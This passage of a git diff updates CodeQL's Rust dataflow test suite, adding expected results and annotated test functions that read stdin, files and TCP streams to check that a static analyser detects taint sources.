(DEFAULT). | +| test.rs:99:18:99:47 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:113:31:113:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:120:31:120:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:210:22:210:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:216:22:216:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:222:22:222:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:228:22:228:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:234:9:234:22 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:238:17:238:30 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:245:50:245:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:251:46:251:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:258:50:258:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:265:50:265:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:272:56:272:69 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:280:46:280:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:287:46:287:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:293:46:293:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:308:25:308:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:315:25:315:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:322:25:322:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:329:25:329:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:336:25:336:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:348:25:348:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:357:52:357:67 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:363:48:363:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:370:52:370:67 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:377:52:377:67 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:384:58:384:73 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:392:48:392:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:407:31:407:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:412:31:412:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:417:22:417:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:423:22:423:25 | path | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:424:27:424:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:430:22:430:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:439:31:439:45 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:444:31:444:45 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:449:22:449:46 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:455:26:455:29 | path | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:455:26:455:29 | path | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:456:31:456:39 | file_name | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:456:31:456:39 | file_name | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:462:22:462:41 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:472:20:472:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:506:21:506:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:507:21:507:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:515:21:515:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:527:20:527:40 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:574:21:574:41 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:575:21:575:41 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:583:21:583:41 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:600:26:600:53 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:619:26:619:61 | ...::connect_timeout | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:671:28:671:57 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:753:22:753:49 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:775:16:775:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:775:16:775:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | | web_frameworks.rs:12:31:12:31 | a | Flow source 'RemoteSource' of type remote (DEFAULT). | +| web_frameworks.rs:12:31:12:31 | a | Flow source 'RemoteSource' of type remote (DEFAULT). | +| web_frameworks.rs:21:31:21:35 | TuplePat | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:21:31:21:36 | TuplePat | Flow source 'RemoteSource' of type remote (DEFAULT). | +| web_frameworks.rs:43:31:43:44 | MyStruct {...} | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:43:31:43:45 | MyStruct {...} | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:51:31:51:32 | ms | Flow source 'RemoteSource' of type remote (DEFAULT). | +| web_frameworks.rs:51:31:51:32 | ms | Flow source 'RemoteSource' of type remote (DEFAULT). | +| web_frameworks.rs:60:15:60:15 | a | Flow source 'RemoteSource' of type remote (DEFAULT). | | web_frameworks.rs:60:15:60:15 | a | Flow source 'RemoteSource' of type remote (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/options.yml b/rust/ql/test/library-tests/dataflow/sources/options.yml index 5b3ef166b15e..a9d9354529eb 100644 --- a/rust/ql/test/library-tests/dataflow/sources/options.yml +++ b/rust/ql/test/library-tests/dataflow/sources/options.yml @@ -7,6 +7,7 @@ qltest_dependencies: - http = { version = "1.2.0" } - tokio = { version = "1.43.0", features = ["full"] } - futures = { version = "0.3" } + - bytes = { version = "1.10.1" } - poem = { version = "3.1.10" } - serde = { version = "1.0.219" } - actix-web = { version = "4.10.2" } diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 2ec0b8964ca2..370f3d4c9b66 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -72,14 +72,15 @@ async fn test_reqwest() -> Result<(), reqwest::Error> { sink(remote_string4); // $ hasTaintFlow="example.com" let remote_string5 = reqwest::get("example.com").await?.text().await?; // $ Alert[rust/summary/taint-sources] - sink(remote_string5); // $ MISSING: hasTaintFlow + sink(remote_string5); // $ hasTaintFlow="example.com" let remote_string6 = reqwest::get("example.com").await?.bytes().await?; // $ Alert[rust/summary/taint-sources] - sink(remote_string6); // $ MISSING: hasTaintFlow + sink(remote_string6); // $ hasTaintFlow="example.com" let mut request1 = reqwest::get("example.com").await?; // $ Alert[rust/summary/taint-sources] + sink(request1.chunk().await?.unwrap()); // $ hasTaintFlow="example.com" while let Some(chunk) = request1.chunk().await? { - sink(chunk); // $ MISSING: hasTaintFlow + sink(chunk); // $ MISSING: hasTaintFlow="example.com" } Ok(()) @@ -95,7 +96,7 @@ async fn test_hyper_http(case: i64) -> Result<(), Box> { // create the connection println!("connecting to {}...", address); - let stream = tokio::net::TcpStream::connect(address).await?; + let stream = tokio::net::TcpStream::connect(address).await?; // $ Alert[rust/summary/taint-sources] let io = hyper_util::rt::TokioIo::new(stream); let (mut sender, conn) = hyper::client::conn::http1::handshake(io).await?; @@ -106,10 +107,10 @@ async fn test_hyper_http(case: i64) -> Result<(), Box> { // make the request println!("sending request..."); - if (case == 0) { + if case == 0 { // simple flow case let request = http::Request::builder().uri(url).body(String::from(""))?; - let mut response = sender.send_request(request).await?; // $ Alert[rust/summary/taint-sources] + let response = sender.send_request(request).await?; // $ Alert[rust/summary/taint-sources] sink(&response); // $ hasTaintFlow=request sink(response); // $ hasTaintFlow=request return Ok(()) @@ -198,6 +199,207 @@ async fn test_hyper_http(case: i64) -> Result<(), Box> { Ok(()) } +use std::io::Read; +use std::io::BufRead; + +fn test_io_stdin() -> std::io::Result<()> { + // --- stdin --- + + { + let mut buffer = [0u8; 100]; + let _bytes = std::io::stdin().read(&mut buffer)?; // $ Alert[rust/summary/taint-sources] + sink(&buffer); // $ hasTaintFlow + } + + { + let mut buffer = Vec::::new(); + let _bytes = std::io::stdin().read_to_end(&mut buffer)?; // $ Alert[rust/summary/taint-sources] + sink(&buffer); // $ MISSING: hasTaintFlow + } + + { + let mut buffer = String::new(); + let _bytes = std::io::stdin().read_to_string(&mut buffer)?; // $ Alert[rust/summary/taint-sources] + sink(&buffer); // $ hasTaintFlow + } + + { + let mut buffer = String::new(); + let _bytes = std::io::stdin().lock().read_to_string(&mut buffer)?; // $ Alert[rust/summary/taint-sources] + sink(&buffer); // $ hasTaintFlow + } + + { + let mut buffer = [0; 100]; + std::io::stdin().read_exact(&mut buffer)?; // $ Alert[rust/summary/taint-sources] + sink(&buffer); // $ hasTaintFlow + } + + for byte in std::io::stdin().bytes() { // $ Alert[rust/summary/taint-sources] + sink(byte); // $ hasTaintFlow + } + + // --- BufReader --- + + { + let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] + let data = reader.fill_buf()?; + sink(&data); // $ hasTaintFlow + } + + { + let reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] + let data = reader.buffer(); + sink(&data); // $ hasTaintFlow + } + + { + let mut buffer = String::new(); + let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] + reader.read_line(&mut buffer)?; + sink(&buffer); // $ hasTaintFlow + } + + { + let mut buffer = Vec::::new(); + let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] + reader.read_until(b',', &mut buffer)?; + sink(&buffer); // $ hasTaintFlow + sink(buffer[0]); // $ hasTaintFlow + } + + { + let mut reader_split = std::io::BufReader::new(std::io::stdin()).split(b','); // $ Alert[rust/summary/taint-sources] + sink(reader_split.next().unwrap().unwrap()); // $ hasTaintFlow + while let Some(chunk) = reader_split.next() { + sink(chunk.unwrap()); // $ MISSING: hasTaintFlow + } + } + + { + let reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] + for line in reader.lines() { + sink(line); // $ hasTaintFlow + } + } + + { + let reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] + let line = reader.lines().nth(1).unwrap(); + sink(line.unwrap().clone()); // $ MISSING: hasTaintFlow + } + + { + let reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] + let lines: Vec<_> = reader.lines().collect(); + sink(lines[1].as_ref().unwrap().clone()); // $ MISSING: hasTaintFlow + } + + Ok(()) +} + +use tokio::io::{AsyncReadExt, AsyncBufReadExt}; + +async fn test_tokio_stdin() -> Result<(), Box> { + + // --- async reading from stdin --- + + { + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] + let mut buffer = [0u8; 100]; + let _bytes = stdin.read(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow + } + + { + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] + let mut buffer = Vec::::new(); + let _bytes = stdin.read_to_end(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow + } + + { + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] + let mut buffer = String::new(); + let _bytes = stdin.read_to_string(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow + } + + { + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] + let mut buffer = [0; 100]; + stdin.read_exact(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow + } + + { + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] + let v1 = stdin.read_u8().await?; + let v2 = stdin.read_i16().await?; + let v3 = stdin.read_f32().await?; + let v4 = stdin.read_i64_le().await?; + sink(v1); // $ hasTaintFlow + sink(v2); // $ hasTaintFlow + sink(v3); // $ hasTaintFlow + sink(v4); // $ hasTaintFlow + } + + { + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] + let mut buffer = bytes::BytesMut::new(); + stdin.read_buf(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow + } + + // --- async reading from stdin (BufReader) --- + + { + let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ Alert[rust/summary/taint-sources] + let data = reader.fill_buf().await?; + sink(&data); // $ hasTaintFlow + } + + { + let reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ Alert[rust/summary/taint-sources] + let data = reader.buffer(); + sink(&data); // $ hasTaintFlow + } + + { + let mut buffer = String::new(); + let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ Alert[rust/summary/taint-sources] + reader.read_line(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow + } + + { + let mut buffer = Vec::::new(); + let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ Alert[rust/summary/taint-sources] + reader.read_until(b',', &mut buffer).await?; + sink(&buffer); // $ hasTaintFlow + sink(buffer[0]); // $ hasTaintFlow + } + + { + let mut reader_split = tokio::io::BufReader::new(tokio::io::stdin()).split(b','); // $ Alert[rust/summary/taint-sources] + sink(reader_split.next_segment().await?.unwrap()); // $ hasTaintFlow + while let Some(chunk) = reader_split.next_segment().await? { + sink(chunk); // $ MISSING: hasTaintFlow + } + } + + { + let reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ Alert[rust/summary/taint-sources] + let mut lines = reader.lines(); + sink(lines.next_line().await?.unwrap()); // $ hasTaintFlow + while let Some(line) = lines.next_line().await? { + sink(line); // $ MISSING: hasTaintFlow + } + } + + Ok(()) +} + use std::fs; fn test_fs() -> Result<(), Box> { @@ -232,40 +434,39 @@ fn test_fs() -> Result<(), Box> { Ok(()) } -use std::io::Read; -use std::io::BufRead; - -fn test_io_fs() -> std::io::Result<()> { - // --- stdin --- - +async fn test_tokio_fs() -> Result<(), Box> { { - let mut buffer = [0u8; 100]; - let _bytes = std::io::stdin().read(&mut buffer)?; // $ Alert[rust/summary/taint-sources] - sink(&buffer); // $ hasTaintFlow + let buffer: Vec = tokio::fs::read("file.bin").await?; // $ Alert[rust/summary/taint-sources] + sink(buffer); // $ hasTaintFlow="file.bin" } { - let mut buffer = Vec::::new(); - let _bytes = std::io::stdin().read_to_end(&mut buffer)?; // $ Alert[rust/summary/taint-sources] - sink(&buffer); // $ MISSING: hasTaintFlow + let buffer: Vec = tokio::fs::read("file.bin").await?; // $ Alert[rust/summary/taint-sources] + sink(buffer); // $ hasTaintFlow="file.bin" } { - let mut buffer = String::new(); - let _bytes = std::io::stdin().read_to_string(&mut buffer)?; // $ Alert[rust/summary/taint-sources] - sink(&buffer); // $ hasTaintFlow + let buffer = tokio::fs::read_to_string("file.txt").await?; // $ Alert[rust/summary/taint-sources] + sink(buffer); // $ hasTaintFlow="file.txt" } - { - let mut buffer = [0; 100]; - std::io::stdin().read_exact(&mut buffer)?; // $ Alert[rust/summary/taint-sources] - sink(&buffer); // $ hasTaintFlow + let mut read_dir = tokio::fs::read_dir("directory").await?; + for entry in read_dir.next_entry().await? { + let path = entry.path(); // $ Alert[rust/summary/taint-sources] + let file_name = entry.file_name(); // $ Alert[rust/summary/taint-sources] + sink(path); // $ hasTaintFlow + sink(file_name); // $ hasTaintFlow } - for byte in std::io::stdin().bytes() { // $ Alert[rust/summary/taint-sources] - sink(byte); // $ hasTaintFlow + { + let target = tokio::fs::read_link("symlink.txt").await?; // $ Alert[rust/summary/taint-sources] + sink(target); // $ hasTaintFlow="symlink.txt" } + Ok(()) +} + +fn test_io_file() -> std::io::Result<()> { // --- file --- let mut file = std::fs::File::open("file.txt")?; // $ Alert[rust/summary/taint-sources] @@ -298,99 +499,355 @@ fn test_io_fs() -> std::io::Result<()> { sink(byte); // $ hasTaintFlow="file.txt" } - // --- BufReader --- + // --- misc operations --- { - let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] - let data = reader.fill_buf()?; - sink(&data); // $ hasTaintFlow + let mut buffer = String::new(); + let file1 = std::fs::File::open("file.txt")?; // $ Alert[rust/summary/taint-sources] + let file2 = std::fs::File::open("another_file.txt")?; // $ Alert[rust/summary/taint-sources] + let mut reader = file1.chain(file2); + reader.read_to_string(&mut buffer)?; + sink(&buffer); // $ hasTaintFlow="file.txt" hasTaintFlow="another_file.txt" } { - let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] - let data = reader.buffer(); - sink(&data); // $ hasTaintFlow + let mut buffer = String::new(); + let file1 = std::fs::File::open("file.txt")?; // $ Alert[rust/summary/taint-sources] + let mut reader = file1.take(100); + reader.read_to_string(&mut buffer)?; + sink(&buffer); // $ hasTaintFlow="file.txt" } + Ok(()) +} + +async fn test_tokio_file() -> std::io::Result<()> { + // --- file --- + + let mut file = tokio::fs::File::open("file.txt").await?; // $ Alert[rust/summary/taint-sources] + { - let mut buffer = String::new(); - let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] - reader.read_line(&mut buffer)?; - sink(&buffer); // $ hasTaintFlow + let mut buffer = [0u8; 100]; + let _bytes = file.read(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow="file.txt" } { let mut buffer = Vec::::new(); - let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] - reader.read_until(b',', &mut buffer)?; - sink(&buffer); // $ hasTaintFlow + let _bytes = file.read_to_end(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow="file.txt" } { - let mut buffer = Vec::::new(); - let mut reader_split = std::io::BufReader::new(std::io::stdin()).split(b','); // $ Alert[rust/summary/taint-sources] - while let Some(chunk) = reader_split.next() { - sink(chunk.unwrap()); // $ MISSING: hasTaintFlow - } + let mut buffer = String::new(); + let _bytes = file.read_to_string(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow="file.txt" } { - let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] - for line in reader.lines() { - sink(line); // $ hasTaintFlow - } + let mut buffer = [0; 100]; + file.read_exact(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow="file.txt" } { - let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] - let line = reader.lines().nth(1).unwrap(); - sink(line.unwrap().clone()); // $ MISSING: hasTaintFlow + let v1 = file.read_u8().await?; + let v2 = file.read_i16().await?; + let v3 = file.read_f32().await?; + let v4 = file.read_i64_le().await?; + sink(v1); // $ hasTaintFlow="file.txt" + sink(v2); // $ hasTaintFlow="file.txt" + sink(v3); // $ hasTaintFlow="file.txt" + sink(v4); // $ hasTaintFlow="file.txt" } { - let mut reader = std::io::BufReader::new(std::io::stdin()); // $ Alert[rust/summary/taint-sources] - let lines: Vec<_> = reader.lines().collect(); - sink(lines[1].as_ref().unwrap().clone()); // $ MISSING: hasTaintFlow + let mut buffer = bytes::BytesMut::new(); + file.read_buf(&mut buffer).await?; + sink(&buffer); // $ hasTaintFlow="file.txt" } // --- misc operations --- { let mut buffer = String::new(); - let mut file1 = std::fs::File::open("file.txt")?; // $ Alert[rust/summary/taint-sources] - let mut file2 = std::fs::File::open("another_file.txt")?; // $ Alert[rust/summary/taint-sources] + let file1 = tokio::fs::File::open("file.txt").await?; // $ Alert[rust/summary/taint-sources] + let file2 = tokio::fs::File::open("another_file.txt").await?; // $ Alert[rust/summary/taint-sources] let mut reader = file1.chain(file2); - reader.read_to_string(&mut buffer)?; + reader.read_to_string(&mut buffer).await?; sink(&buffer); // $ hasTaintFlow="file.txt" hasTaintFlow="another_file.txt" } { let mut buffer = String::new(); - let mut file1 = std::fs::File::open("file.txt")?; // $ Alert[rust/summary/taint-sources] + let file1 = tokio::fs::File::open("file.txt").await?; // $ Alert[rust/summary/taint-sources] let mut reader = file1.take(100); - reader.read_to_string(&mut buffer)?; + reader.read_to_string(&mut buffer).await?; sink(&buffer); // $ hasTaintFlow="file.txt" } - { - let mut buffer = String::new(); - let _bytes = std::io::stdin().lock().read_to_string(&mut buffer)?; // $ Alert[rust/summary/taint-sources] - sink(&buffer); // $ hasTaintFlow + Ok(()) +} + +use std::net::ToSocketAddrs; + +async fn test_std_tcpstream(case: i64) -> std::io::Result<()> { + // using std::net to fetch a web page + let address = "example.com:80"; + + if case == 1 { + // create the connection + let mut stream = std::net::TcpStream::connect(address)?; // $ Alert[rust/summary/taint-sources] + + // send request + let _ = stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n"); + + // read response + let mut buffer = vec![0; 32 * 1024]; + let _ = stream.read(&mut buffer); + + println!("data = {:?}", buffer); + sink(&buffer); // $ hasTaintFlow=address + sink(buffer[0]); // $ hasTaintFlow=address + + let buffer_string = String::from_utf8_lossy(&buffer); + println!("string = {}", buffer_string); + sink(buffer_string); // $ MISSING: hasTaintFlow + } else { + // create the connection + let sock_addr = address.to_socket_addrs().unwrap().next().unwrap(); + let mut stream = std::net::TcpStream::connect_timeout(&sock_addr, std::time::Duration::new(1, 0))?; // $ Alert[rust/summary/taint-sources] + + // send request + let _ = stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n"); + + // read response + match case { + 2 => { + let mut reader = std::io::BufReader::new(stream).take(256); + let mut line = String::new(); + loop { + match reader.read_line(&mut line) { + Ok(0) => { + println!("end"); + break; + } + Ok(_n) => { + println!("line = {}", line); + sink(&line); // $ hasTaintFlow=&sock_addr + line.clear(); + } + Err(e) => { + println!("error: {}", e); + break; + } + } + } + } + 3 => { + let reader = std::io::BufReader::new(stream.try_clone()?).take(256); + for line in reader.lines() { // $ MISSING: Alert[rust/summary/taint-sources] + if let Ok(string) = line { + println!("line = {}", string); + sink(string); // $ MISSING: hasTaintFlow + } + } + } + _ => {} + } } Ok(()) } +use tokio::io::AsyncWriteExt; + +async fn test_tokio_tcpstream(case: i64) -> std::io::Result<()> { + // using tokio::io to fetch a web page + let address = "example.com:80"; + + // create the connection + println!("connecting to {}...", address); + let mut tokio_stream = tokio::net::TcpStream::connect(address).await?; // $ Alert[rust/summary/taint-sources] + + // send request + tokio_stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n").await?; + + if case == 1 { + // peek response + let mut buffer1 = vec![0; 2 * 1024]; + let _ = tokio_stream.peek(&mut buffer1).await?; + + // read response + let mut buffer2 = vec![0; 2 * 1024]; + let n2 = tokio_stream.read(&mut buffer2).await?; + + println!("buffer1 = {:?}", buffer1); + sink(&buffer1); // $ hasTaintFlow=address + sink(buffer1[0]); // $ hasTaintFlow=address + + println!("buffer2 = {:?}", buffer2); + sink(&buffer2); // $ hasTaintFlow=address + sink(buffer2[0]); // $ hasTaintFlow=address + + let buffer_string = String::from_utf8_lossy(&buffer2[..n2]); + println!("string = {}", buffer_string); + sink(buffer_string); // $ MISSING: hasTaintFlow + } else if case == 2 { + let mut buffer = [0; 2 * 1024]; + loop { + match tokio_stream.try_read(&mut buffer) { + Ok(0) => { + println!("end"); + break; + } + Ok(_n) => { + println!("buffer = {:?}", buffer); + sink(&buffer); // $ hasTaintFlow=address + break; // (or we could wait for more data) + } + Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => { + // wait... + continue; + } + Err(e) => { + println!("error: {}", e); + break; + } + } + } + } else { + let mut buffer = Vec::new(); + loop { + match tokio_stream.try_read_buf(&mut buffer) { + Ok(0) => { + println!("end"); + break; + } + Ok(_n) => { + println!("buffer = {:?}", buffer); + sink(&buffer); // $ hasTaintFlow=address + break; // (or we could wait for more data) + } + Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => { + // wait... + continue; + } + Err(e) => { + println!("error: {}", e); + break; + } + } + } + } + + Ok(()) +} + +async fn test_std_to_tokio_tcpstream() -> std::io::Result<()> { + // using tokio::io to fetch a web page + let address = "example.com:80"; + + // create the connection + println!("connecting to {}...", address); + let std_stream = std::net::TcpStream::connect(address)?; // $ Alert[rust/summary/taint-sources] + + // convert to tokio stream + std_stream.set_nonblocking(true)?; + let mut tokio_stream = tokio::net::TcpStream::from_std(std_stream)?; + + // send request + tokio_stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n").await?; + + // read response + let mut buffer = vec![0; 32 * 1024]; + let _n = tokio_stream.read(&mut buffer).await?; // $ MISSING: Alert[rust/summary/taint-sources] + + println!("data = {:?}", buffer); + sink(&buffer); // $ MISSING: hasTaintFlow + sink(buffer[0]); // $ MISSING: hasTaintFlow + + Ok(()) +} + #[tokio::main] async fn main() -> Result<(), Box> { let case = std::env::args().nth(1).unwrap_or(String::from("1")).parse::().unwrap(); // $ Alert[rust/summary/taint-sources] + println!("test_env_vars..."); + test_env_vars(); + + println!("test_env_args..."); + test_env_args(); + + println!("test_env_dirs..."); + test_env_dirs(); + + println!("test_reqwest..."); + match futures::executor::block_on(test_reqwest()) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + println!("test_hyper_http..."); match futures::executor::block_on(test_hyper_http(case)) { Ok(_) => println!("complete"), Err(e) => println!("error: {}", e), } - println!(""); + + println!("test_io_stdin..."); + match test_io_stdin() { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + + println!("test_tokio_stdin..."); + match futures::executor::block_on(test_tokio_stdin()) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + + println!("test_fs..."); + match test_fs() { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + + println!("test_tokio_fs..."); + match futures::executor::block_on(test_tokio_fs()) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + + println!("test_io_file..."); + match test_io_file() { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + + println!("test_tokio_file..."); + match futures::executor::block_on(test_tokio_file()) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + + println!("test_std_tcpstream..."); + match futures::executor::block_on(test_std_tcpstream(case)) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + + println!("test_tokio_tcpstream..."); + match futures::executor::block_on(test_tokio_tcpstream(case)) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + + println!("test_std_to_tokio_tcpstream..."); + match futures::executor::block_on(test_std_to_tokio_tcpstream()) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } Ok(()) } diff --git a/rust/ql/test/library-tests/definitions/Definitions.expected b/rust/ql/test/library-tests/definitions/Definitions.expected index 11f50118d22b..5d2a0db46c55 100644 --- a/rust/ql/test/library-tests/definitions/Definitions.expected +++ b/rust/ql/test/library-tests/definitions/Definitions.expected @@ -1,19 +1,21 @@ -| main.rs:2:9:2:13 | width | main.rs:5:29:5:33 | width | local variable | -| main.rs:2:9:2:13 | width | main.rs:6:41:6:45 | width | local variable | -| main.rs:2:9:2:13 | width | main.rs:7:36:7:40 | width | local variable | -| main.rs:3:9:3:17 | precision | main.rs:5:36:5:44 | precision | local variable | -| main.rs:3:9:3:17 | precision | main.rs:6:48:6:56 | precision | local variable | -| main.rs:4:9:4:13 | value | main.rs:6:34:6:38 | value | local variable | -| main.rs:4:9:4:13 | value | main.rs:7:29:7:33 | value | local variable | -| main.rs:5:50:5:54 | value | main.rs:5:22:5:26 | value | format argument | -| main.rs:6:34:6:38 | value | main.rs:6:22:6:22 | 0 | format argument | -| main.rs:6:41:6:45 | width | main.rs:6:25:6:25 | 1 | format argument | -| main.rs:6:48:6:56 | precision | main.rs:6:28:6:28 | 2 | format argument | -| main.rs:7:29:7:33 | value | main.rs:7:21:7:22 | {} | format argument | -| main.rs:7:36:7:40 | width | main.rs:7:24:7:25 | {} | format argument | -| main.rs:8:9:8:14 | people | main.rs:9:22:9:27 | people | local variable | -| main.rs:10:31:10:31 | 1 | main.rs:10:19:10:20 | {} | format argument | -| main.rs:10:31:10:31 | 1 | main.rs:10:23:10:23 | 0 | format argument | -| main.rs:10:34:10:34 | 2 | main.rs:10:16:10:16 | 1 | format argument | -| main.rs:10:34:10:34 | 2 | main.rs:10:26:10:27 | {} | format argument | -| main.rs:11:40:11:42 | "x" | main.rs:11:31:11:35 | {:<5} | format argument | +| main.rs:3:5:3:7 | lib | lib.rs:1:1:1:1 | SourceFile | file | +| main.rs:9:22:9:26 | value | main.rs:9:50:9:54 | value | format argument | +| main.rs:9:29:9:33 | width | main.rs:6:9:6:13 | width | local variable | +| main.rs:9:36:9:44 | precision | main.rs:7:9:7:17 | precision | local variable | +| main.rs:10:22:10:22 | 0 | main.rs:10:34:10:38 | value | format argument | +| main.rs:10:25:10:25 | 1 | main.rs:10:41:10:45 | width | format argument | +| main.rs:10:28:10:28 | 2 | main.rs:10:48:10:56 | precision | format argument | +| main.rs:10:34:10:38 | value | 